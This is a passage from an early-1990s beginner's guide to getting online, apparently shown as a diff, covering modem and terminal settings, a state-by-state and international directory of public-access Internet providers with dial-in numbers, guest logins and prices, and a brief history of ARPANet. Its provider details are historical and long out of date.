+Crosstalk and Zterm, but even if you use one of the newer all-in-one +internet access kits, many of the things described in coming chapters +will generally be good to know (you never know when you'll find yourself +stuck in a room with only an MS-DOS computer). + +To take full Take advantage of the Net, you must spend a few minutes +going over the manuals or documentation that comes with your software. +There are a few things you should pay special attention to: uploading and +downloading; screen capturing (sometimes called "screen dumping"); +logging; how to change protocols; and terminal emulation. It is also +essential to know how to convert a file created with your word processing +program into "ASCII" or "text" format, which will let you share your +thoughts with others across the Net. + +Uploading is the process of sending a file from your computer to a +system on the Net. Downloading is retrieving a file from somewhere on the +Net to your computer. In general, things in cyberspace go "up" to the Net +and come "down" to you. + +Chances are your software will come with a choice of several METHODS +to use for these transfers. These different methods are systems designed +to ensure that line noise or static does not cause errors that could ruin +whatever information you are trying to transfer. Essentially, when using +a protocol, you are transferring a file in a series of pieces. After +each piece is sent or received, your computer and the Net system compare +it. If the two pieces don't match exactly, they transfer it again, until +they agree that the information they both have is identical. If, after +several tries, the information just doesn't make it across, you'll either +get an error message or your screen will freeze (at which point you get +out the computer manual to see how to re-boot). In that case, try it +again. If, after five tries, you are still stymied, something is wrong +with a) the file; b) the telephone line; c) the system you're connected +to; or d) your own computer. + +From time to time, you will likely see messages on the Net that you want +to save for later viewing -- a recipe, a particularly witty remark, +something you want to write your congressman about, whatever. This is +where screen capturing and logging come in. + +When you tell your communications software to capture a screen, it opens +a file in your computer (usually in the same directory or folder used by +the software) and "dumps" an image of whatever happens to be on your +screen at the time. + +Logging works a bit differently. When you issue a logging command, you +tell the software to open a file (again, usually in the same directory or +folder as used by the software) and then give it a name. Then, until you +turn off the logging command, everything that scrolls on your screen is +copied into that file, sort of like recording on videotape. This is +useful for capturing long documents that scroll for several pages -- +using screen capture, you would have to repeat the same command for each +new screen. + +Terminal emulation is a way for your computer to mimic, or emulate, the +way other computers put information on the screen and accept commands +from a keyboard. In general, most systems on the Net use a system called +VT100. Fortunately, almost all communications programs now on the market +support this system as well -- make sure yours does. + +You'll also have to know about protocols. There are several different +ways for computers to transmit characters. Fortunately, there are only +two protocols that you're likely to run across: 8-1-N (which stands for +"8 bits, 1 stop bit, no parity" -- yikes!) and 7-1-E (7 bits, 1 stop bit, +even parity). The latter is fairly rare these days, except on some +older systems, such as CompuServe (which, as of this writing, does not +offer full Internet access anyway). What if you don't know what kind of +system you're connecting to? Try one of the settings. If you get what +looks like gobbledygook when you connect, you may need the other setting. +If so, you can either change the setting while connected, and then hit +enter, or hang up and try again with the other setting. It's also +possible your modem and the modem at the other end can't agree on the +right bps rate. If changing the protocols doesn't work, try using +another bps rate (but no faster than the one listed for your modem). +Don't worry, remember, you can't break anything! If something looks +wrong, it probably is wrong. Change your settings and try again. +Nothing is learned without trial, error and effort. + +There are the basics. Now on to the Net! + + +1.2 GO! + + +Once, only people who studied or worked at an institution directly tied +to the Net could connect to the world. Today, though, an ever-growing +number of "public-access" systems provide access for everybody. These +systems can now be found in most metropolitan areas (at least in North +America) several states, and there are several companies a couple of +sites that can provide access across the country. + There are two basic kinds of these host systems. One provides what +is known as a dial-up account. You'll need a basic communications +program (the kind that typically comes with your modem) to connect. Once +on, your computer's brain essentially goes to sleep -- virtually all of +your interaction with the Internet will be via programs on your host +system. + +The other is known as a SLIP or PPP provider (SLIP and PPP are two types +of communications standards for connecting to the Internet). This sort +of host acts mainly as a gateway to your own computer. it passes +information (e-mail, say, or graphics) to your computer, which then has +to figure out what to do with it. This is where the all-in-one programs +mentioned earlier come in (and we'll talk a bit more about them in +chapter 9). + +Some sites are run by for-profit companies; others by non-profit +organizations. Some of these public-access, or host, systems, are free +of charge. Others charge a monthly or yearly fee for unlimited access. +And a few charge by the hour. Systems that charge for access will usually +let you sign up online with a credit card. Some also let you set up a +billing system if you'd rather pay by check. + +But cost should be only one consideration in choosing a host system, +especially if you live in an area with more than one provider. Most +systems let you look around before you sign up. What is the range of +each of their services? How easy is each to use? What kind of support or +help can you get from the system administrators? + +The last two questions are particularly important because many +systems provide no user interface at all; when you connect, you are +dumped right into the Unix operating system. If you're already familiar +with Unix, or you want to learn how to use it, these systems offer +phenomenal power -- in addition to Net access, most also let you tap into +the power of Unix to do everything from compiling your own programs to +playing online games. + +But if you don't want to have to learn Unix, there are other public- +access systems that work through menus (just like the ones in +restaurants; you are shown a list of choices and then you make your +selection of what you want), or which provide a "user interface" that is +easier to figure out than the ever cryptic Unix (and fortunately, even on +unix systems, there are ways to minimize your exposure to its commands, +as we'll see in later chapters). Some systems also have their own unique +local services, ranging from extensive conferences to large file +libraries. + + +1.3 PUBLIC-ACCESS INTERNET PROVIDERS + + +When you have your communications program dial one of these host systems, +one of two things will happen when you connect. You'll either see a lot +of gibberish on your screen, or you'll be asked to log in. If you see +gibberish, chances are you have to change your software's parameters (to +8-1-N or 7-1-E as the case may be). Hang up (see your modem's manual for +information on this), make the change and then dial in again. + +When you've connected, chances are you'll see something like this: + + Welcome to THE WORLD + Public Access UNIX for the '90s + Login as 'new' if you do not have an account + + login: + +That last line is a prompt asking you to do something. Since this is +your first call, type + + new + +and hit enter (at least on this particular system; each system has a +different log-in procedure for newcomers) Often, when you're asked to type +something by a host system, you'll be told what to type in quotation +marks (for example, 'new'). Don't include the quotation marks. Repeat: +Don't include the quotation marks. + +what you see next depends on the system, but will generally consist +of information about its costs and services (you might want to turn on +your communication software's logging function, to save this +information). You'll likely be asked if you want to establish an account +now or just look around the system. + +You'll also likely be asked for your "user name." This is not your +full name, but a one-word name you want to use while online. It can be +any combination of letters or numbers, all in lower case. Many people +use their first initial and last name (for example, "jdoe"); their first +name and the first letter of their last name (for example, "johnd"); or +their initials ("jxd"). Others use a nickname. You might want to think +about this for a second, because this user name will become part of your +electronic-mail address (see chapter 2 for more on that). The main +exception are the various Free-Net systems, all of which assign you a +user name consisting of an arbitrary sequence of letters and numbers. + +You are now on the Net. Look around the system. See if there are +any help files for you to read. If it's a menu-based host system, choose +different options just to see what happens (and if all you see is a +simple prompt, try typing 'help' or read on). Remember: You can't break +anything. The more you play, the more comfortable you'll be. + +what follows are lists of public-access Internet sites, which are +computer systems that offer access to the Net. The first list is for +North America; the second for the rest of the world. All offer +international e-mail and Usenet (international conferences). In +addition, they offer: + + FTP: File-transfer protocol -- access to hundreds of file + libraries (everything from computer software to historical + documents to song lyrics). You'll be able to transfer + these files from the Net to your own computer. + + Telnet: Access to databases, computerized library card + catalogs, weather reports and other information services, + as well as live, online games that let you compete with + players from around the world. + + Additional services that may be offered include: + + Lynx: An easy-to-use interface for the World-Wide Web + information resource. + + WAIS: Wide-area Information Server; a program that + can search dozens of databases in one search. + + Gopher: A program that gives you easy access to dozens + of other online databases and services by making + selections on a menu. You'll also be able to use these + to copy text files and some programs to your mailbox. + + IRC: Internet Relay Chat, a CB simulator that lets + you have live keyboard chats with people around the + world. + + SLIP/PPP service. you'll need this if you want to interact with + the internet directly on your own computer. will often cost more + than standard dial-up service. + +However, even on systems that do not provide all these services directly, +you will be able to use a number of them through telnet (see Chapter 6). + +In the lists that follow, systems that let you access services through +menus are noted; otherwise assume that when you connect, you'll be dumped +right into Unix (a.k.a. MS-DOS with a college degree). Several of these +sites are available nationwide through national data networks such as the +CompuServe Packet Network and SprintNet. + +Please note that all listed charges are subject to change. Many sites +require new or prospective users to log on a particular way on their +first call; this list provides the name you'll use in such cases. + +1.4 NORTH AMERICAN PROVIDERS + +ALABAMA + +Huntsville. Nuance. Call voice number for modem number. $35 setup; $25 a +month. Voice: (205) 533-4296. + +ALASKA + +Anchorage. University of Alaska Southeast, Tundra Services, (907) +789-1314; has local dial-in service in several other cities. $20 a month. +Voice: (907) 465-6453. + +ALBERTA + +Edmonton. PUCNet Computer Connections, (403) 484-5640. Log on as: guest. +$10 setup fee; $25 for 20 hours a month plus $6.25 an hour for access to +ftp and telnet. Voice: (403) 448-1901. + +ARIZONA + +Tucson. Data Basics, (602) 721-5887. $25 a month or $180 a year. Voice: +(602) 721-1988. + +Phoenix/Tucson. Internet Direct, (602) 274-9600 (Phoenix); (602) 321-9600 +(Tucson). Log on as: guest. $20 a month. Voice: (602) 274-0100 +(Phoenix); (602) 324-0100 (Tucson). + +BRITISH COLUMBIA + +Victoria Victoria Free-Net, (604) 595-2300. Menus. Access to all +features requires completion of a written form. Users can "link" to other +Free-Net systems in Canada and the United States. Free. Log on as: guest +Voice: (604) 389-6026. + +CALIFORNIA + +Berkeley. Community ConneXion, (510) 549-1383. Log in as: guest. $10 a +month. Voice: (510) 841-2014. + +Berkeley. Holonet. Menus. For free trial, modem number is (510) 704-1058. +For information or local numbers, call the voice number. $60 a year for +local access, $2 an hour during offpeak hours. Voice: (510) 704-0160. + +Concord/Walnut Creek. CCnet. Unix and menu. Modem number (510) 988-7140. +$15 setup. Flat fee of $18 a month for unlimited usage with credit card +billing. Voice: (510) 988-0680. + +Cupertino. Portal. Unix and menus. (408) 725-0561 (2400 bps); (408) +973-8091 (9600/14,400 bps). $19.95 setup fee, $19.95 a month. Voice: (408) +973-9111. + +Cupertino. Aimnet. (408) 366-9000 (Cupertino); (415) 610-8625 +(Belmont); (510) 227-8730 (Pleasanton); (415) 288-9720 (San Francisco). +$20 set-up and $20 a month; $25 set-up and $20 a month for SLIP/PPP. +Voice: (408) 257-0900. + +Irvine. Dial N' CERF. See under San Diego. + +Los Angeles/Orange County. Kaiwan Public Access Internet, (714) 539-5726; +(310) 527-7358. $15 signup; $11 a month (credit card). Voice: (714) 638- +2139. + +Los Angeles. Dial N' CERF. See under San Diego. + +Oakland. Dial N' CERF. See under San Diego. + +Pasadena. Dial N' CERF See under San Diego. + +Palo Alto. Institute for Global Communications., (415) 322-0284. Unix. +Local conferences on environmental/peace issues. Log on as: new. $10 a +month and $3 an hour after first hour. Voice: (415) 442-0220. + +San Diego. Dial N' CERF USA, run by the California Education and Research +Federation. Provides local dial-up numbers in San Diego, Los Angeles, +Oakland, Pasadena and Irvine. For more information, call voice (800) +876-CERF or (619) 534-5087. $50 setup fee; $20 a month plus $5 an hour +($3 on weekends). Voice: (800) 876-2373. + +San Diego. CTS Network Services, (619) 637-3660. Log on as: help. $15 +set-up fee, monthly fee of $10 to $23 depending on services used. Voice: +(619) 637-3637. + +San Diego. Cyberspace Station, (619) 634-1376. Unix. Log on as: guest. +Charges: $10 sign-up fee; $15 a month or $60 for six months. + +San Francisco. Pathways, call voice number for number. Menus. $25 setup +fee; $8 a month and $3 an hour. Voice: (415) 346-4188. + +San Jose. Netcom, (510) 865-9004 or 426-6610; (408) 241-9760; (415) 424- +0131, up to 9600 bps. Unix or graphical interface. Log on as: guest. $15 +startup fee and then $17.50 a month for unlimited use with credit-card +billing; otherwise $19.50 a month. Voice: (408) 554-UNIX. + +San Jose. A2i, (408) 293-9010. Log on as: guest. $20 a month; $45 for +three months; $72 for six months. + +Sausalito. The Whole Earth 'Lectronic Link (WELL), (415) 332-6106. Uses +moderately difficult Picospan software, which is sort of a cross between +Unix and a menu system. New users get a PRINTED written manual. More than 200 +WELL-only conferences. Log on as: newuser. $15 a month plus $2 an hour. +Access through the nationwide CompuServe Packet Network available for +another $4.50 an hour. Voice: (415) 332-4335. Recorded message about the +system's current status: (800) 326-8354 (continental U.S. only). + +COLORADO + +Colorado Springs/Denver. CNS, (719) 570-1700 (Colorado Springs); (303) +758-2656 (Denver). Local calendar listings and ski and stock reports. +Users can chose between menus or Unix. Log on as: new. $35 setup fee; +$2.75 an hour (minimum fee of $10 a month). Voice: (719) 592-1240. + +Colorado Springs. Old Colorado City Communications, (719) 632-4111. Log +on as: newuser. $25 a month. Voice: (719) 632-4848. + +Denver. Denver Free-Net, (303) 270-4865. Menus. Access to all services +requires completion of a written form. Users can "link" to other Free-Net +systems across the country. Free. Log on as: guest. + +Golden. Colorado SuperNet. Available only to Colorado residents. Local +dial-in numbers available in several Colorado cities. For dial-in numbers, +call the number below. $3 an hour ($1 an hour between midnight and 6 +a.m.); one-time $20 sign-up fee. Voice: (303) 273-3471. + +CONNECTICTUT + +Middlefield. Connix, (203) 349-1176. $20 start-up fee; $2 an hour with a +$10 monthly minimum or $20 a month for 20 hours a month. SLIP is $25 for +20 hours a month plus a $25 set-up fee. Voice: (203) 349-7059. + +DELAWARE + +Middletown. Systems Solutions, (302) 378-1881. $20 setup fee; $25 a month +for full Internet access. Voice: (800) 331-1386. + +FLORIDA + +Broward County. SEFLIN Free-Net, (305) 357-7318. Menus. Free. Users can +"link" to other Free-Net systems. Voice: (305) 357-7318. + +Clearwater. Intelligence Network Online. Call voice number for modem +number. $29 set-up fee; $29 a month. Voice: (813) 442-0114. + +Deerfield Beach/Miami/Tampa/Orlando. CyberGate. $17.50 a month; $29.50 a +month for 25 hours of SLIP/PPP access (plus $50 set-up fee). Voice: (305) +428-GATE or (800) NET GATE outside of 305. + +Southeast Florida. Satelnet, (305) 434-7340. Follow log-in prompts to set +up account. $17 a month or $60 for four months. + +Tallahassee. Symnet, (904) 385-8177. Menus or Unix. $15 a month or six +months for $75; SLIP for $30 set-up and $30 for 30 hours a month. Voice: +(904) 385-1061. + +Talahassee. Talahassee Free-Net, (904) 488-5056. Menus. Full access +requires completion of a registration form. Can "link" to other Free-Net +systems around the country. Voice: (904) 488-5056. + +GEORGIA + +Atlanta. Netcom, (303) 758-0101. See under San Jose, California, for +information on rates. + +ILLINOIS + +Champaign. Prarienet Free-Net, (217) 255-9000. Menus. Log on as: +visitor. Free for Illinois residents; $25 a year for others. Voice: (217) +244-1962. + +Chicago. WorldWide Access, (312) 282-8605. Charges: $19.50 a month; $25 a +month for SLIP/PPP access. Voice number: (708) 367-1870. + +Chicago. MCSNet, (312) 248-0900. $25/month or $65 for three months of +unlimited access; $30 for three months of access at 15 hours a month. +Voice: (312) 248-UNIX. + +Naperville/Hoffman Estates. XNet. (708) 983-6435 (Naperville); (708) 882- +1101. $45 for three months or $75 for six months. Voice: (708) 983-6064. + +Peoria. Peoria Free-Net, (309) 674-1100. Similar to Cleveland Free-Net +(see Ohio, below). Users can "link" to the larger Cleveland system for +access to Usenet and other services. There are also Peoria Free-Net +public-access terminals in numerous area libraries, other government +buildings and senior-citizen centers. Contact the number below for +specific locations. Full access (including access to e-mail) requires +completion of a written application. Free. Voice: (309) 677-2544. + +Vernon Hills. WorldWide Access, (708) 367-1871. Charges: $19.50 a +month;$25/month for SLIP/PP access. Voice number: (708) 367-1870. + +MARYLAND + +Baltimore. Digital Express, (410) 766-1855; (301) 220-0462; (714) 377- +9784. Log on as: new. $20 setup fee; $25 a month or $250 a year. Voice: +(800 969-9090. + +Baltimore. Clarknet, (410) 730-9786; (410) 995-0271; (301) 596-1626; +(301) 854-0446. Log on as: guest. $23 a month, $126 for six months or +$228 a year. Voice: (410) 730-9765. + +MASSACHUSETTS + +Bedford. The Internet Access Company, (617) 275-0331. To log on, follow +on-line prompts. $20 setup fee; $19.50 a month. Voice: (617) 275-2221. + +Brookline. The World, (617) 739-9753. Log on as: new. $5 a month plus $2 +an hour or $20 for 20 hours a month. Also has local dial-up numbers in +Lowell and Westboro. Available nationwide through the CompuServe Packet +Network for another $5.60 an hour. Voice: (617) 739-0202. + +Lynn. North Shore Access, (617) 593-4557. Log on as: new. $10 for 10 +hours a month; $1 an hour after that. Voice: (617) 593-3110. + +Shrewsbury/Worcester. NovaLink, (508) 754-4009. Log on as: info. $12.95 +sign-up (includes first two hours); $9.95 a month (includes five daytime +hours), $1.80 an hour after that. Voice: (800) 274-2814. + +MICHIGAN + +Ann Arbor. MSEN. Call voice number for dial-in number. Unix. Charges: +$20 setup; $20 a month. Voice: (313) 998-4562. + +Ann Arbor. Michnet. Has local dial-in numbers in several Michigan numbers. +For local numbers, call voice number below. $35 a month plus one-time $40 +sign-up fee. Additional network fees for access through non-Michnet +numbers. Voice: (313) 764-9430. + +MISSOURI + +Springfield. Ozarks Regional Information Online Network, (417) 864-6100. +Log on as: guest. Local conferences and information, access to many +Internet resources and to other Free-Net sites in the U.S. and Canada. +Complete access requires completion of written registration form. Free. +Voice: (417) 837-5050, ext. 15. + +Las Vegas. Evergreen Internet Express. For modem number, call voice number +below. $240 a year unlimited access; $360 a year for unlimited SLIP/PPP +access. Voice: (702) 361-2258. + +Las Vegas. @wizard.com, (702) 871-3102. Menus or Unix. $14.95 set-up +fee, $25 a month. Voice: (702) 871-4461. + +NEWFOUNDLAND + +St.John's. Compusult Limited. Call voice number for modem number. +$24.95 a month for 25 hours access; $3 an hour for each additional hour. +SLIP/PPP access: $50 set-up fee; $24.95 a month. Voice (709) 745- +7914; Fax: (709) 745-7927. + +NEW HAMPSHIRE + +Manchester. MV Communications, Inc. For local dial-up numbers call voice +line below. $5 a month mininum plus variable hourly rates depending on +services used. Voice: (603) 429-2223. + +NEW JERSEY + +New Brunswick. Digital Express, (908) 937-9481. Log on as: new. $20 +setup fee; $25 a month or $250 a year. Voice: (800) 969-9090. + +Wyckoff. NIC. Call voice number for modem number. Menus or Unix. $10 set- +up fee, $10 a month for 20 hours or $20 a month for 60 hours. Voice: (201) +934-1445. + +NEW YORK + +Buffalo. Buffalo Free-Net, (716) 645-3085. Log on as: visitor. Local +conferences and information, access to many Internet resources and to +other Free-Net sites in the U.S. and Canada. Complete access requires +completion of written registration form. Free. + +New York. Panix, (212) 787-3100. Unix or menus. Log on as: newuser. $40 +setup fee; $19 a month or $208 a year. Voice: (212) 877-4854. + +New York. Echo, (212) 989-8411. Unix, but with local conferencing +software. Log on as: newuser. $19.95 ($13.75 students and seniors) a +month. Voice: (212) 255-3839. + +New York. MindVox, (212) 989-4141. Local conferences. Log on as: guest. +$10 setup fee for non-credit-card accounts; $15 a month. Voice: (212) 989- +2418. + +New York. Pipeline, (212) 267-8606 (9600 bps and higher); (212) 267-7341 +(2400 bps). Offers graphical interface for Windows for $90. Log on as: +guest. $20 a month and $2 an hour after first 20 hours or $35 a month +unlimited hours. Voice: (212) 267-3636. + +New York. Maestro, (212) 240-9700. Log on as: newuser. $12 a month or +$140 a year. Voice: (212) 240-9600. + +New York. Interport Communications, (212) 989-1258. Log on as: newuser. +$25 a month for 60 hours a month. Voice: (212) 989-1128. + +Rockland County. TZ-Link, (914) 353-4618, Menus or Unix. Log in as guest +with a password of: guest. $36 a quarter. Voice: (914) 353-5443. + +Rye. WestNet Internet Services, (914) 967-7802. Log in as: new. $45 a +quarter; $150 a year. Voice: (914) 967-7816. + +White Plains. Cloud 9 Internet, (914) 682-0384. Menus or Unix. $45 a +quarter or $180 a year; #90 a quarter or $360 a year for SLIP. Voice: +(914)682-0626. + +NORTH CAROLINA + +Charlotte. Vnet Internet Access, (704) 347-8839; (919) 406-1544. Log on +as: new. $25 a month. Voice: (704) 374-0779. + +Raleigh. NandO Net. Call voice number for modem number. Menus. Access +to archives of the Raleigh News and Observer. $30 a month, for up to five +accounts per household. Voice: (919) 836-2808. + +Triangle Research Park. Rock Concert Net. Call number below for local +modem numbers in various North Carolina cities. $30 a month; one-time $50 +sign-up fee. Voice: (919) 248-1999. + +OHIO + +Cleveland. Cleveland Free-Net, (216) 368-3888. Ohio and US Supreme Court +decisions, historical documents, many local conferences. Full access +(including access to e-mail) requires completion of a written application. +Free. Voice: (216) 368-8737. + +Cleveland. Wariat, (216) 481-9436. Unix or menus. $20 setup fee; $35 a +month. Voice: (216) 481-9428. + +Dayton. Freelance Systems Programming, (513) 258-7745. $20 setup fee; $1 +an hour. Voice: (513) 254-7246. + +Lorain. Lorain County Free-Net, (216) 233-5929. Users can "link" to the +larger Cleveland Free-Net for additional services. Full access +(including access to e-mail) requires completion of a written +application. Free. Voice: (216) 366-4200. + +Medina. Medina Free-Net, (216) 723-6732, 225-6732 or 335-6732. Users can +"link" to the larger Cleveland Free-Net for additional services. Full +access (including access to e-mail) requires completion of a written +application. Free. + +Youngstown. Youngstown Free-Net, (216) 742-3072. Users can "link" to the +Cleveland system for services not found locally. Full access (including +access to e-mail) requires completion of a written application. Free. + +ONTARIO + +Ottawa. National Capital Freenet, (613) 564-3600. Menus. Free, but +requires completion of a written form for access to all services. Voice: +(613) 788-3947. + +Toronto. Internex Online, (416) 363-3783. Both Unix and menus. $40 a +year for one hour a day. Voice: (416) 363-8676. + +Toronto. The Wire. Graphical interface. Call (416) 214-WIRE for rates +and dial-in number. + +OREGON + +Portland. Agora, (503) 293-1772 (2400 bps), (503) 293-2059 (9600 bps or +higher). Log on as: apply. $6 a month for one hour per day. + +Portland. Teleport, (503) 220-0636 (2400 bps); (503) 220-1016 (9600 and +higher). Log on as: new. $10 a month for one hour per day. Voice: (503) +223-4245. + +PENNSYLVANIA + +Pittsburgh. Telerama, (412) 481-5302. $6 for 10 hours a month, 60 cents +for each additional hour. Voice: (412) 481-3505. + +QUEBEC + +Montreal. Communications Accessibles Montreal. To start account, +call voice number. $25 month plus tax for 10 hours a week. Voice: +(514) 288-2581. + +RHODE ISLAND + +East Greenwich. IDS World Network, (401) 884-9002. In addition to +Usenet, has conferences from the Fidonet and RIME networks. $10 a month; +$50 for six months; $100 for a year. + +Providence/Seekonk. Anomaly, (401) 331-3706. $125 for six months or +$200 a year. Educational rate of $75 for six months or $125 a year. Voice: +(401) 273-4669. + +TEXAS + +Austin. RealTime Communications, (512) 459-4391. Log on as: new. $80 for +six months. Voice: (512) 206-3800. + +Dallas. Texas Metronet, (214) 705-2901; (817) 261-1127. Log on as: info +or signup. $10 to $35 setup fee, depending on service; $10 to $45 a month, +depending on service. Voice: (214) 705-2900 or (817) 543-8756. + +Houston. The Black Box, (713) 480-2686. $21.65 a month. Voice: (713) +480-2684. + +UTAH + +Salt Lake City. XMission, (801) 539-0900 Voice: (801) 539-0852. Menu and +Unix. CSLIP/PPP usage no extra charge. $5 for the first month; $19 a +month after that; $102 for six months. + +VIRGINIA + +Norfolk/Peninsula. Wyvern Technologies, (804) 627-1828 (Norfolk); (804) +886-0662 (Peninsula). $10 startup fee; $15 a month or $144 a year. Voice: +(804) 622-4289. + +Williamsburg. Global Connect. For modem number, call voice number below. +Menus or Unix. $15 a month or $150 a year for 40 hours per month; $40 a +month or $400 a year for 70 hours of SLIP/PPP access a month. Voice: (804) +229-4484. + +WASHINGTON, DC + +The Meta Network. Call voice number below for local dial-in numbers. +Caucus conferencing, menus. $15 setup fee; $20 a month. Voice: (703) 243- +6622. + +CapAccess, (202), 785-1523. Log on as guest with a password of visitor. +A Free-Net system (see under Cleveland, Ohio, for information). Free. +Voice: (202) 994-4245. + +See also: listing under Baltimore, MD for Digital Express and Clarknet, +both of which have Washington, DC numbers. + +WASHINGTON STATE + +Seattle. Halcyon, (206) 382-6245. Users can choose between menus and +Unix. Log on as: new. $10 setup fee; $60 a quarter or $200 a year. +Voice: (206) 955-1050. + +Seattle. Eskimo North, (206) 367-3837 (all speeds), (206) 362-6731 +(9600/14.4K bps). $10 a month or $96 a year. Voice: (206) 367-7457. + +Seattle. Seattle Community Network, (206) 386-4140. Log on as: visitor. +Local conferences and information, access to many Internet resources and +to other Free-Net sites in the U.S. and Canada. Complete access requires +completion of written registration form. Free. + + +1.5 EUROPEAN AND OTHER PROVIDERS + +AUSTRALIA + +Canberra. InterConnect Australia. $95 set-up fee; $20 a month +plus 15 cents a minute, $1 per megabyte of FTP'ed files. For dial-in +numbers call one of their voice numbers: 008 818 262 or 03 528 2239. + +NEW SOUTH WALES + +Sydney. InterConnect Australia. See under Canberra. + +Sydney. DIALix Services, (02) 948-6918, log in as: guest. $80 a year +minimum; 1 cent a minute plus 1 cent per every 1,000 bytes of Internet +traffic. + +QUEENSLAND + +Brisbane. InterConnect Australia. See under Canberra. + +SOUTH AUSTRALIA + +Adelaide. InterConnect Australia. See under Canberra. + +Adelaide. APANA, (08) 373-5485, log in as: guest. $65 a year. + +VICTORIA + +Melbourne. InterConnect Australia. See under Canberra. + +WESTERN AUSTRALIA + +Perth. InterConnect Australia. See under Canberra. + +Perth. DIALix Services, (09) 244-3233, log in as: guest. $80 annual +minimum fee; 1 cent per minute and 1 cent per 1,000 bytes Internet +traffic. + +GERMANY + +Erlangen-Nuernburg. Free-Net Erlangen-Nuernburg, 09131-85-8111. Log on +as: guest. Local conferences and information, access to many Internet +resources and to other Free-Net sites in the U.S. and Canada. German and +English menus. Complete access requires completion of written registration +form, 2DM registration fee. Voice: 09131-85-2693. + +ITALY + + +Milan. Galactica, 02/29.00.60.58 (up to 2400 bps); 02/29.00.60.91 (up to +14.4 Kbps). 24.000 lire/month; 71.400/three months; 178.500/year, +including IVA. Voice: 02/29.00.61.50 + +Milan. Agora, (02) 48403680 (see under Rome). + +Pavia. Telnet, 0382 529121. Voice: 0382 529751. + +Rome. Agora, (06) 69920412, (06) 6990532 and (06) 69200112. Also +available via ITAPAC: NUA 26430303, 26420265 (1200 bps). Voice: 06 +6991742/3 + +Rome. MC-link Technimedia Srl, (06) 4180440 and (06) 4513900. +ITAPAC: NUA 26410420. 216.000 lire per year or 72.000 lire per +quarter. Voice: 06 418921. + +UNITED KINGDOM + +London. Demon Internet Systems, 44 (0)81 343 4848. 12.50 pounds setup +fee; 10 a month or 132.50 a year. Voice: 44 (0)81 349 0063. + + +1.6 IF YOUR TOWN HAS NO DIRECT ACCESS + +If you don't live in an area with a public-access site, you'll still be +able to connect to the Net. Several services offer access through +national data networks such as the CompuServe Packet Network and +SprintNet, which have dozens, even hundreds of local dial-in numbers +across the country. These include Holonet in Berkeley, Calf., Portal in +Cupertino, Calf., the WELL in Sausalito, Calf., Dial 'N CERF in San +Diego, Calf., the World in Brookline, Mass., and Michnet in Ann Arbor, +Mich. Dial 'N CERF offers access through an 800 number. Expect to pay +from $2 to $12 an hour to use these networks, above each provider's basic +charges. The exact amount depends on the network, time of day and type +of modem you use. For more information, contact the above services. + +Four other providers deliver Net access to users across the country: + +Delphi, based in Cambridge, Mass., is a consumer-oriented network much +like CompuServe or America Online -- only it now offers subscribers +access to Internet services. Delphi charges $3 a month for Internet +access, in addition to standard charges. These are $10 a month for four +hours of off-peak (non-working hours) access a month and $4 an hour for +each additional hour or $20 for 20 hours of access a month and $1.80 an +hour for each additional hour. For more information, call (800) 695- +4005. + +BIX (the Byte Information Exchange) offers FTP, Telnet and e-mail access +to the Internet as part of their basic service. Owned by the same company +as Delphi, it also offers 20 hours of access a month for $20. For more +information, call (800) 695-4775. + +PSI, based in Reston, Va., provides nationwide access to Internet +services through scores of local dial-in numbers to owners of IBM and +compatible computers. PSILink. which includes access to e-mail, Usenet +and ftp, costs $29 a month, plus a one-time $19 registration fee. +Special software is required, but is available free from PSI. PSI's +Global Dialup Service provides access to telnet for $39 a month plus a +one-time $39 set-up fee. For more information, call (800) 82PSI82 or +(703) 620-6651. + +NovX Systems Integration, based in Seattle, Washington, offers full +Internet access through an 800 number reachable across the United States. +There is a $24. setup fee, in addition to a monthly fee of $19.95 and a +$10.5 hourly charge. For more information, call (206) 447-0800. + + +1.7 NET ORIGINS + + +In the 1960s, researchers began experimenting with linking computers to +each other and to people through telephone hook-ups, using funds from the +U.S Defense Department's Advanced Research Projects Agency (ARPA). + +ARPA wanted to see if computers in different locations could be linked +using a new technology known as packet switching. This technology, in +which data meant for another location is broken up into little pieces, +each with its own "forwarding address" had the promise of letting several +users share just one communications line. Just as important, from ARPA's +viewpoint, was that this allowed for creation of networks that could +automatically route data around downed circuits or computers. ARPA's +goal was not the creation of today's international computer-using +community, but development of a data network that could survive a nuclear +attack. + +Previous computer networking efforts had required a line between each +computer on the network, sort of like a one-track train route. The packet +system allowed for creation of a data highway, in which large numbers of +vehicles could essentially share the same lane. Each packet was given +the computer equivalent of a map and a time stamp, so that it could be +sent to the right destination, where it would then be reassembled into a +message the computer or a human could use. + +This system allowed computers to share data and the researchers to +exchange electronic mail, or e-mail. In itself, e-mail was something of +a revolution, offering the ability to send detailed letters at the speed +of a phone call. + +As this system, known as ARPANet, grew, some enterprising college +students (and one in high school) developed a way to use it to conduct +online conferences. These started as science-oriented discussions, but +they soon branched out into virtually every other field, as people +recognized the power of being able to "talk" to hundreds, or even +thousands, of people around the country. + +In the 1970s, ARPA helped support the development of rules, or protocols, +for transferring data between different types of computer networks. +These "internet" (from "internetworking") protocols made it possible to +develop the worldwide Net we have today that links all sorts of computers +across national boundaries. By the close of the 1970s, links developed +between ARPANet and counterparts in other countries. The world was now +tied together in a computer web. + +In the 1980s, this network of networks, which became known collectively +as the Internet, expanded at a phenomenal rate. Hundreds, then +thousands, of colleges, research companies and government agencies began +to connect their computers to this worldwide Net. Some enterprising +hobbyists and companies unwilling to pay the high costs of Internet +access (or unable to meet stringent government regulations for access) +learned how to link their own systems to the Internet, even if "only" for +e-mail and conferences. Some of these systems began offering access to +the public. Now anybody with a computer and modem, persistance and a +small amount of money -- and persistence -- could tap into the world. + +In the 1990s, the Net continues to grow at exponential rates. Some +estimates are that the volume of messages transferred through the Net +grows 20 percent a month. In response, government and other users have +tried in recent years to expand the Net itself. Once, the main Net +"backbone" in the U.S. moved data at 56,000 bits per second. That proved +too slow for the ever increasing amounts of data being sent over it, and +in recent years the maximum speed was increased to 1.5 million and then +45 million bits per second. Even before the Net was able to reach that +latter speed, however, Net experts were already figuring out ways to pump +data at speeds of up to 2 billion bits per second -- fast enough to send +the entire Encyclopedia Britannica across the country in just one or two +seconds. Another major change has been the development of commercial +services that provide internetworking services at speeds comparable to +those of the government system. In fact, what started as a government +experiment is now largely a private enterprise. + + +1.8 HOW IT WORKS + + +The worldwide Net is actually a complex web of smaller regional networks. +To understand it, picture a modern road network of trans-continental +superhighways connecting large cities. From these large cities come +smaller freeways and parkways to link together small towns, whose +residents travel on slower, narrow residential ways. + +The Net superhighway is the high-speed Internet. Connected to this are +computers that use a particular system of transferring data at high +speeds. In the U.S., the major Internet "backbones" theoretically can +move data at rates of 45 million bits per second (compare this to the +average home modem, which has a top speed of roughly 9,600 